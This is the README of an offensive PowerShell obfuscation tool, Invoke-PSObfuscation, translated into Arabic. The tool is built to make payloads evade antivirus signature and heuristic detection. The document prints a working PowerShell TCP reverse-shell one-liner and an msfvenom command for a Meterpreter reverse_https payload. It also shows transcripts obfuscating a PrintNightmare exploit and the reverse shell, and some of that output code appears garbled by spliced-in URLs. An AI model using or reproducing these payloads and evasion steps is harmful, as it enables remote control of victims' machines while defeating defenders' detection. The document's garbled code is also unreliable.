
نهج متعمق لإخفاء المكونات الفردية لحمولة PowerShell سواء كنت على Windows أو Kali Linux.
تميل تقنيات الإبهام التقليدية إلى إضافة طبقات لتغليف الكود الثابت، مثل base64 أو الضغط. لا تزال هذه الحمولات تحقق درجة متفاوتة من النجاح، لكنها أصبحت تافهة لاستخراج الحمولة المقصودة، ويتم اكتشاف بعض أدوات الإطلاق في كثير من الأحيان، مما يخلق نقاط اختناق أساسية.
النهج الذي تقدمه هذه الأداة هو منهجية تتيح لك استهداف وإبهام المكونات الفردية لسكريبت مع اختلافات عشوائية مع تحقيق نفس المنطق المقصود، دون تغليف الحمولة بأكملها داخل طبقة واحدة. نظرًا لتعقيد منطق الإبهام، سيكون من الصعب جدًا توقيع الحمولات الناتجة وستفلت من محركات الكشف الإرشادية غير المبرمجة لمحاكاة المنطق الموروث.
بينما يمكن لهذا السكريبت إبهام معظم الحمولات بنجاح بمفرده، سيعمل هذا المشروع أيضًا كإطار دائم سأستخدمه لإنتاج وظائف مستقبلية ستستفيد من هذا الإطار لتوفير حمولات مخصصة مبهمة، مثل تلك التي تنتج فقط قذائف عكسية.
لقد كتبت مقالًا في مدونة Offensive Security كمقدمة للتقنيات التي تقدمها هذه الأداة. قبل المضي قدمًا، فكر في قراءته أولاً: https://www.offensive-security.com/offsec/powershell-obfuscation/
كجزء من عملي المستمر مع إبهام PowerShell، أقوم ببناء سكريبتات تنتج حمولات مخصصة تستخدم هذا الإطار. لقد ساعدتني هذه في توفير الوقت وآمل أن تجدها مفيدة أيضًا. يمكنك العثور عليها داخل مجلداتها الخاصة في جذر هذا المستودع.
مثل العديد من لغات البرمجة الأخرى، يمكن تقسيم PowerShell إلى مكونات عديدة تشكل المنطق القابل للتنفيذ. يتيح لنا ذلك هزيمة الكشف القائم على التوقيع بسهولة نسبية عن طريق تغيير كيفية تمثيل المكونات الفردية داخل الحمولة إلى شكل غامض أو غير مفهوم.
ضع في اعتبارك أن استهداف كل مكون في الحمولات المعقدة هو تدخلي للغاية. تم بناء هذه الأداة بحيث يمكنك استهداف المكونات التي تريد إبهامها بطريقة محكومة. لقد وجدت أن العديد من التوقيعات يمكن هزيمتها ببساطة عن طريق استهداف cmdlets والمتغيرات وأي تعليقات. عند استخدامها ضد حمولات معقدة، مثل print nightmare، ضع في اعتبارك أنه سيتم أيضًا تغيير معاملات/متغيرات الوظائف المخصصة. تأكد دائمًا من اختبار أي حمولات ناتجة بشكل صحيح وتأكد من أنك على دراية بأي معاملات مسماة تم تعديلها.
يتم تقديم أنواع المكونات مثل الأنابيب ومتغيرات الأنابيب هنا للمساعدة في جعل حمولتك أكثر غموضًا وصعوبة في فك التشفير.
الأنواع المدعومة
يحتوي كل مكون على مولد مخصص يحتوي على قائمة بالقيم الثابتة أو المولدة ديناميكيًا الممكنة التي يتم اختيارها عشوائيًا أثناء كل تنفيذ. إذا كانت هناك مثيلات متعددة لمكون، فسيتم تكرار كل منها بشكل فردي باستخدام مولد. يضيف هذا درجة من العشوائية في كل مرة تقوم فيها بتشغيل هذه الأداة ضد حمولة معينة، لذا ستكون كل تكرار مختلفًا. الاستثناء الوحيد لذلك هو أسماء المتغيرات.
إذا بدأت خوارزمية متعلقة بمكون معين في التسبب في وضع علامة على الحمولة، فإن التصميم الحالي يسمح لنا بتعديل منطق ذلك المولد بسهولة دون المساس بالسكريبت بأكمله.
$Picker = 1..6 | Get-Random
Switch ($Picker) {
1 { $NewValue = 'Stay' }
2 { $NewValue = 'Off' }
3 { $NewValue = 'Ronins' }
4 { $NewValue = 'Lawn' }
5 { $NewValue = 'And' }
6 { $NewValue = 'Rocks' }
}
تم اختبار هذا الإطار والحمولات الناتجة على نظام التشغيل وإصدارات PowerShell التالية. لن تعمل القذائف العكسية الناتجة على PowerShell v2.0
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done
PS /home/tristram>
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating integers
Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
Generator 2 >> PS >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
Generator 1 >> > >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done
<#
.SYNOPSIS
تحويل سكريبتات PowerShell إلى شيء غامض أو غير واضح أو غير مفهوم.
.DESCRIPTION
حيث تميل معظم أدوات الإبهام إلى إضافة طبقات لتغليف الكود الثابت، مثل base64 أو الضغط، فإنها تميل إلى ترك الحمولة المقصودة سليمة، مما يخلق نقاط اختناق أساسية. يركز Invoke-PSObfuscation على استبدال المكونات الموجودة في الكود الخاص بك، أو الطبقة 0، بقيم بديلة.
.PARAMETER Path
حمولة PowerShell مقدمة من المستخدم عبر ملف مسطح.
.PARAMETER All
يتم استخدام المفتاح All لتشغيل كل مكون مدعوم لإبهام حمولة معينة. هذا الإجراء تدخلي للغاية وقد يؤدي إلى كسر حمولتك. يجب ألا تكون هناك مشاكل عند استخدام هذا مع القشرة العكسية البسيطة. ومع ذلك، يوصى باستهداف مكونات محددة مع حمولات أكثر تقدمًا. ضع في اعتبارك أن بعض المولدات المقدمة في هذا السكريبت قد تربك حتى ISE الخاص بك، لذا تأكد من الاختبار بشكل صحيح.
.PARAMETER Aliases
يتم استخدام مفتاح aliases لتوجيه الوظيفة لإبهام الأسماء المستعارة.
.PARAMETER Cmdlets
يتم استخدام مفتاح cmdlets لتوجيه الوظيفة لإبهام cmdlets.
.PARAMETER Comments
يتم استخدام مفتاح comments لتوجيه الوظيفة لإزالة جميع التعليقات.
.PARAMETER Integers
يتم استخدام مفتاح integers لتوجيه الوظيفة لإبهام الأعداد الصحيحة.
.PARAMETER Methods
يتم استخدام مفتاح methods لتوجيه الوظيفة لإبهام استدعاءات الطرق.
.PARAMETER NamespaceClasses
يتم استخدام مفتاح namespaceclasses لتوجيه الوظيفة لإبهام فئات مساحة الاسم.
.PARAMETER Pipes
يتم استخدام مفتاح pipes لتوجيه الوظيفة لإبهام الأنابيب.
.PARAMETER PipelineVariables
يتم استخدام مفتاح pipeline variables لتوجيه الوظيفة لإبهام متغيرات الأنابيب.
.PARAMETER ShowChanges
يتم استخدام مفتاح ShowChanges لتوجيه السكريبت لعرض القيم الخام والمبهمة على الشاشة.
.PARAMETER Strings
يتم استخدام مفتاح strings لتوجيه الوظيفة لإبهام سلاسل الأوامر.
.PARAMETER Variables
يتم استخدام مفتاح variables لتوجيه الوظيفة لإبهام المتغيرات.
.EXAMPLE
PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
.EXAMPLE
PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
.OUTPUTS
System.String, System.String
.NOTES
معلومات إضافية حول الوظيفة.
#>
| إصدار PS | OS تم اختباره | Invoke-PSObfucation.ps1 | القشرة العكسية |
|---|
| 7.1.3 | Kali 2021.2 | مدعوم | مدعوم |
| 5.1.19041.1023 | Windows 10 10.0.19042 | مدعوم | مدعوم |
| 5.1.21996.1 | Windows 11 10.0.21996 | مدعوم | مدعوم |